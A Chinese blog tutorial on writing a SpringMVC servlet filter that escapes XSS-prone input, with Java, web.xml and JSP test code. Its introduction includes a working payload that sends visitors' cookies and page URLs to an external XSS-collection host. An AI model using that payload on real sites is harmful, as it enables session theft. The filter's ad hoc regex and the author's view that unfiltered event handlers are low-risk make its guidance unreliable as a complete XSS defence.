在SpringMVC中使用过滤器(Filter)过滤容易引发XSS的危险字符

一 简介

如题所示,如果不在服务端对用户的输入信息进行过滤,然后该参数又直接在前台页面中展示,毫无疑问将会容易引发XSS攻击(跨站脚本攻击),比如说这样:

form表单中有这么一个字段:

<input type="text" id="author" name="author" placeholder="昵称" />

然后潜在攻击者在该字段上填入以下内容:

<script>alert(‘XSS‘)</script>

紧接着服务端忽略了“一切来至其他系统的数据都存在安全隐患”的原则,并没有对来至用户的数据进行过滤,导致了直接在前台页面中进行展示。很显然直接弹窗了:

当然,这里仅仅只是一个无伤大雅的弹窗,如果是恶意的攻击者呢?他可能会利用这个漏洞盗取cookie、篡改网页,甚至是配合CSRF漏洞伪造用户请求,形成大规模爆发的蠕虫病毒等等。

比如说远程加载这么一个js将会导致用户的cookie被窃取:

(function(){(new Image()).src=‘http://xss.domain.com/index.php?do=api&id=ykvR5H&location=‘+escape((function(){try{return document.location.href}catch(e){return ‘‘}})())+‘&toplocation=‘+escape((function(){try{return top.location.href}catch(e){return ‘‘}})())+‘&cookie=‘+escape((function(){try{return document.cookie}catch(e){return ‘‘}})())+‘&opener=‘+escape((function(){try{return (window.opener && window.opener.location.href)?window.opener.location.href:‘‘}catch(e){return ‘‘}})());})();
if(‘1‘==1){keep=new Image();keep.src=‘http://xss.domain.com/index.php?do=keepsession&id=ykvR5H&url=‘+escape(document.location)+‘&cookie=‘+escape(document.cookie)};

然后将可以在自己搭建的XSS平台中收到信息,比如像这样:

注:因为我在这个demo程序里没有设置cookie,因此cookie那一栏显示为空白

当然,值得庆幸的是,像国内一些主流的浏览器(如:360浏览器、猎豹浏览器)对这类常见的XSS payload都进行了过滤,查看网页源代码可以发现这些危险的字符均使用了鲜艳的红色字体进行了标注,同时该脚本并不能成功地执行:

二 使用Filter过滤容易引发XSS的危险字符

(1)自定义一个过滤用的Filter:

package cn.zifangsky.filter;

import java.io.IOException;
import java.util.Enumeration;
import java.util.Map;
import java.util.Vector;
import java.util.regex.Matcher;
import java.util.regex.Pattern;

import javax.servlet.FilterChain;
import javax.servlet.ServletException;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletRequestWrapper;
import javax.servlet.http.HttpServletResponse;

import org.apache.commons.lang3.StringEscapeUtils;
import org.apache.commons.lang3.StringUtils;
import org.springframework.web.filter.OncePerRequestFilter;

public class XSSFilter extends OncePerRequestFilter {
	private String exclude = null;  //不需要过滤的路径集合
	private Pattern pattern = null;  //匹配不需要过滤路径的正则表达式

	public void setExclude(String exclude) {
		this.exclude = exclude;
		pattern = Pattern.compile(getRegStr(exclude));
	}

	/**
	 * XSS过滤
	 */
	protected void doFilterInternal(HttpServletRequest request, HttpServletResponse response, FilterChain filterChain)
			throws ServletException, IOException {
		String requestURI = request.getRequestURI();
		if(StringUtils.isNotBlank(requestURI))
			requestURI = requestURI.replace(request.getContextPath(),"");

		if(pattern.matcher(requestURI).matches())
			filterChain.doFilter(request, response);
		else{
			EscapeScriptwrapper escapeScriptwrapper = new EscapeScriptwrapper(request);
			filterChain.doFilter(escapeScriptwrapper, response);
		}
	}

	/**
	 * 将传递进来的不需要过滤得路径集合的字符串格式化成一系列的正则规则
	 * @param str 不需要过滤的路径集合
	 * @return 正则表达式规则
	 * */
	private String getRegStr(String str){
		if(StringUtils.isNotBlank(str)){
			String[] excludes = str.split(";");  //以分号进行分割
			int length = excludes.length;
			for(int i=0;i<length;i++){
				String tmpExclude = excludes[i];
				//对点、反斜杠和星号进行转义
				tmpExclude = tmpExclude.replace("\\", "\\\\").replace(".", "\\.").replace("*", ".*");

				tmpExclude = "^" + tmpExclude + "$";
				excludes[i] = tmpExclude;
			}
			return StringUtils.join(excludes, "|");
		}
		return str;
	}

	/**
	 * 继承HttpServletRequestWrapper,创建装饰类,以达到修改HttpServletRequest参数的目的
	 * */
	private class EscapeScriptwrapper extends HttpServletRequestWrapper{
		private Map<String, String[]> parameterMap;  //所有参数的Map集合
		public EscapeScriptwrapper(HttpServletRequest request) {
			super(request);
			parameterMap = request.getParameterMap();
		}

		//重写几个HttpServletRequestWrapper中的方法
		/**
		 * 获取所有参数名
		 * @return 返回所有参数名
		 * */
		@Override
		public Enumeration<String> getParameterNames() {
			Vector<String> vector = new Vector<String>(parameterMap.keySet());
			return vector.elements();
		}

		/**
		 * 获取指定参数名的值,如果有重复的参数名,则返回第一个的值
		 * 接收一般变量 ,如text类型
		 * 
		 * @param name 指定参数名
		 * @return 指定参数名的值
		 * */
		@Override
		public String getParameter(String name) {
			String[] results = parameterMap.get(name);
			if(results == null || results.length <= 0)
				return null;
			else{
				return escapeXSS(results[0]);
			}
		}

		/**
		 * 获取指定参数名的所有值的数组,如:checkbox的所有数据
		 * 接收数组变量 ,如checkobx类型
		 * */
		@Override
		public String[] getParameterValues(String name) {
			String[] results = parameterMap.get(name);
			if(results == null || results.length <= 0)
				return null;
			else{
				int length = results.length;
				for(int i=0;i<length;i++){
					results[i] = escapeXSS(results[i]);
				}
				return results;
			}
		}

		/**
		 * 过滤字符串中的js脚本
		 * 解码:StringEscapeUtils.unescapeXml(escapedStr)
		 * */
		private String escapeXSS(String str){
			str = StringEscapeUtils.escapeXml(str);

			Pattern tmpPattern = Pattern.compile("[sS][cC][rR][iI][pP][tT]");
			Matcher tmpMatcher = tmpPattern.matcher(str);
			if(tmpMatcher.find()){
				str = tmpMatcher.replaceAll(tmpMatcher.group(0) + "\\\\");
			}
			return str;
		}
	}

}

(2)在web.xml文件中将该过滤器放在最前面或者是字符编码过滤器之后:

	<filter>
		<filter-name>xssFilter</filter-name>
		<filter-class>cn.zifangsky.filter.XSSFilter</filter-class>
		<init-param>
			<param-name>exclude</param-name>
			<param-value>/;/scripts/*;/styles/*;/images/*</param-value>
		</init-param>
	</filter>
	<filter-mapping>
		<filter-name>xssFilter</filter-name>
		<url-pattern>*.html</url-pattern>
		<!-- 直接从客户端过来的请求以及通过forward过来的请求都要经过该过滤器 -->
		<dispatcher>REQUEST</dispatcher>
		<dispatcher>FORWARD</dispatcher>
	</filter-mapping>

关于这个自定义的过滤器,我觉得有以下几点需要简单说明下:

i)我这里为了方便,没有自己手动写很多过滤规则,只是使用了commons-lang3-3.2.jar 这个jar包中的 StringEscapeUtils 这个方法类来进行过滤。在这个类中有以下几种过滤方法,分别是:escapeJava、escapeEcmaScript、escapeHtml3、escapeHtml4、escapeJson、escapeCsv、escapeEcmaScript 以及 escapeXml。关于这几种方法分别是如何进行过滤的可以自行查阅官方文档或者自己动手写一个简单的Demo进行测试。当然,我这里使用的是escapeXml这个方法进行过滤

ii)因为一个web工程中通常会存在js、CSS、图片这类静态资源目录的,很显然这些目录是不需要进行过滤的。因此我也做了这方面的处理,代码很简单,看看上面的例子就明白了,或者可以看看我的这篇文章:https://www.zifangsky.cn/647.html

iii)关于“在Filter中修改HttpServletRequest中的参数”这个问题,只需要自定义一个类继承与HttpServletRequestWrapper 这个类,然后复写几个方法即可。如果对这方面不太理解的同学可以看看我的这篇文章:https://www.zifangsky.cn/677.html

iv)在上面的过滤器中,我在escapeXSS(String str) 这个方法的后面还针对“# onerror=javascript:alert(123)” 这种语句进行了专门的过滤。不过不过滤的话问题也不大,我觉得最多就是出现个弹窗,因为把尖括号和引号都给转义了,并不能够执行一些比较危险的操作

(3)两个测试的前台页面:

i)form表单页面input.jsp:

<%@ page language="java" contentType="text/html; charset=UTF-8"
    pageEncoding="UTF-8"%>
<%
String path = request.getContextPath();
String basePath = request.getScheme()+"://"+request.getServerName()+":"+request.getServerPort()+path+"/";
%>    
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
<base href="<%=basePath%>">
<title>FilterDemo</title>
</head>
<body>
	<div align="center">
		Please input you want to say:
		<form action="show.html" method="post">
			<table>
				<tr>
					<td><input type="text" id="author" name="author" placeholder="昵称" /></td>
				</tr>
				<tr>
					<td><input type="text" id="email" name="email" placeholder="邮箱" /></td>
				</tr>
				<tr>
					<td><input type="text" id="url" name="url"placeholder="网址"></td>
				</tr>
				<tr>
					<td><textarea name="comment" rows="5" placeholder="来都来了,何不XSS一下"></textarea></td>
				</tr>
				<tr>
					<td align="center"><input type="submit" value="Go" />
				</tr>
			</table>
		</form>
	</div>
</body>
</html>

ii)结果显示页面show.jsp:

<%@ page language="java" contentType="text/html; charset=UTF-8"
    pageEncoding="UTF-8"%>
<%
String path = request.getContextPath();
String basePath = request.getScheme()+"://"+request.getServerName()+":"+request.getServerPort()+path+"/";
%>    
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
<base href="<%=basePath%>">
<title>FilterDemo</title>
</head>
<body>
	<div align="center">
		<table>
			<tr>
				<td>昵称:</td><td>${author}</td>
			</tr>
			<tr>
				<td>邮箱:</td><td>${email}</td>
			</tr>
			<tr>
				<td>网址:</td><td>${url}</td>
			</tr>
			<tr>
				<td>留言:</td><td>${comment}</td>
			</tr>
			<!-- <tr>
				<td><img alt="x" src=${comment}></td>
			</tr> -->
		</table>
	</div>
</body>
</html>

(4)测试用的Controller:

package cn.zifangsky.controller;

import org.springframework.stereotype.Controller;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RequestParam;
import org.springframework.web.servlet.ModelAndView;

@Controller
public class CommentController {

	/**
	 * 获取留言并在页面展示
	 * */
	@RequestMapping("/show.html")
	public ModelAndView showComment(@RequestParam(name = "author", required = true) String author,
			@RequestParam(name = "email", required = false) String email,
			@RequestParam(name = "url", required = false) String url,
			@RequestParam(name = "comment", required = false) String comment) {

		ModelAndView mAndView = new ModelAndView("show");
		mAndView.addObject("author", author);
		mAndView.addObject("email", email);
		mAndView.addObject("url", url);
		mAndView.addObject("comment", comment);

		return mAndView;
	}
}

这里的代码逻辑很简单,因此就不多做解释了

(5)测试:

测试的效果如下:

对应的网页源代码是这样的:

可以看出,我们的目标已经成功实现了,本篇文章到此结束

PS:上面图片中的水印是我个人博客的域名,因此还请管理员手下留情不要给我标为“转载文章”,谢谢!!!

时间: 2024-10-12 20:53:08

在SpringMVC中使用过滤器(Filter)过滤容易引发XSS的危险字符的相关文章

springmvc中登录过滤器使用

  前言 一般的javaWeb项目中我们肯定会使用过滤器来实现对一些请求的过滤,通过过滤来实现对一些请求参数的设置和校验,比如我们比较熟悉的CharacterEncodingFilter就是一个字符编码的过滤器,小编今天就filter实现拦截登录的过程做一个简单的演示.    预期效果     一般当我们访问某个页面时,如果没有登录,则需要跳转到登录页面,登陆后在跳转到主页面. 实现代码     主要通过实现Servlet的Filter接口即可,主要代码如下,其中为了防止静态资源.登录页面.登录

Servlet中的过滤器Filter详解

转自: http://blog.csdn.net/sd0902/article/details/8395641 web.xml中元素执行的顺序listener->filter->struts拦截器->servlet. 1.过滤器的概念 Java中的Filter 并不是一个标准的Servlet ,它不能处理用户请求,也不能对客户端生成响应. 主要用于对HttpServletRequest 进行预处理,也可以对HttpServletResponse 进行后处理,是个典型的处理链. 优点:过滤

记性不如烂笔头29-java应用中的过滤器Filter(1)

过滤器(Filter),功能非常的强大,是Servlet中最重要的技术之一,WEB应用的开发人员通过Filter技术,对web服务器管理的所有web资源:例如Jsp, Servlet, 静态图片文件或静态 html 文件等进行拦截,从而实现一些特殊的功能.例如实现URL级别的权限访问控制.过滤敏感词汇.压缩响应信息等一些高级功能. Servlet API中提供了一个Filter接口,开发web应用时,如果编写的Java类实现了这个接口,则把这个java类称之为过滤器Filter.通过Filter

jav中的过滤器filter

文章来自 https://www.cnblogs.com/coderland/p/5902878.html Filter简介 Filter也称之为过滤器,它是Servlet技术中最实用的技术,Web开发人员通过Filter技术,对web服务器管理的所有web资源:例如Jsp, Servlet, 静态图片文件或静态 html 文件等进行拦截,从而实现一些特殊的功能.例如实现URL级别的权限访问控制.过滤敏感词汇.压缩响应信息等一些高级功能. 它主要用于对用户请求进行预处理,也可以对HttpServ

好记性不如烂笔头30-java应用中的过滤器Filter(2)

Filter的创建和销毁由WEB服务器负责. web 应用程序启动时,web 服务器将创建Filter 的实例对象,并调用其init方法,完成对象的初始化功能,从而为后续的用户请求作好拦截的准备工作,filter对象只会创建一次,init方法也只会执行一次.通过init方法的参数,可获得代表当前filter配置信息的FilterConfig对象. Web容器调用destroy方法销毁Filter.destroy方法在Filter的生命周期中仅执行一次.在destroy方法中,可以释放过滤器使用的

django中html过滤器filter

http://blog.csdn.net/iloveyin/article/details/49560559 safe让Html标签以及一些特殊符号(如<)生效,下面以例子说明: # value = '<b>CPT</b>' # 那么输出的时候,CPT就是加粗的,如果不加safe那么显示出来的就是纯文本<b>CPT</b> {{ value|safe }} striptags取消所有Html标签,下面以例子说明: # value = '<p>

SpringMVC中Interceptor和Filter区别

Interceptor 主要作用:拦截用户请求,进行处理,比如判断用户登录情况,权限验证,主要针对Action请求进行处理.是通过HandlerInterceptor 实现的. 配置如下: <mvc:interceptors> <bean class="cn.appsys.testInterceptor"></bean>//拦截所有请求 <mvc:interceptor> <mvc:mapping path="/manag

django中models的filter过滤方法

__gt     大于__gte   大于等于 __lt      小于 __lte    小于等于 __in     存在于一个list范围内 __startswith    以...开头 __istartswith   以...开头忽略大小写 __endswith     以...结尾 __iendswith    以...结尾,忽略大小写 __range   在...范围内 __year      日期字段的年份 __month   日期字段的月份 __day        日期字段的日

JavaWeb过滤器——登录过滤

一般来说简单且常用的过滤器使用方法,我觉得除了配置字符编码的过滤之外就是登录器的过滤了 登录过滤器的主要过程可以 一句话来概括:首先在登录的时候把指定好的标志放在session中,操作过滤的时候根据session中的标志判断是否需要过滤.(好像是废话--) 过滤器代码: package com.ahoo.filter; import javax.servlet.*; import javax.servlet.http.HttpServletRequest; import javax.servle